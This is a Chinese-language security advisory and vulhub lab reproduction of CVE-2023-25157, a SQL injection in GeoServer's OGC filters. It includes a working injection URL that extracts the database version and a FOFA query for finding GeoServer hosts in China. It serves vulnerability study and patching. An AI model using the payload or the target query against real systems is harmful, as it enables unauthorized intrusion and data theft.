漏洞简介
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。
影响版本
GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2
FOFA查询语句
app="GeoServer" && country="CN"
漏洞复现
vulhub靶场复现该漏洞
访问:http://your-ip:8080/geoserver进入Geoserver首页
在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:
- Workspace name: vulhub
- Data store name: pg
- Feature type (table) name: example
- One of attribute from feature type: name
利用这些已知参数,发送如下URL即可触发SQL注入漏洞:
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
成功注入获取版本信息
修复建议
官方已发布新版本修复了该漏洞,可下载最新版本进行升级。
原文始发于微信公众号(巢安实验室):GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论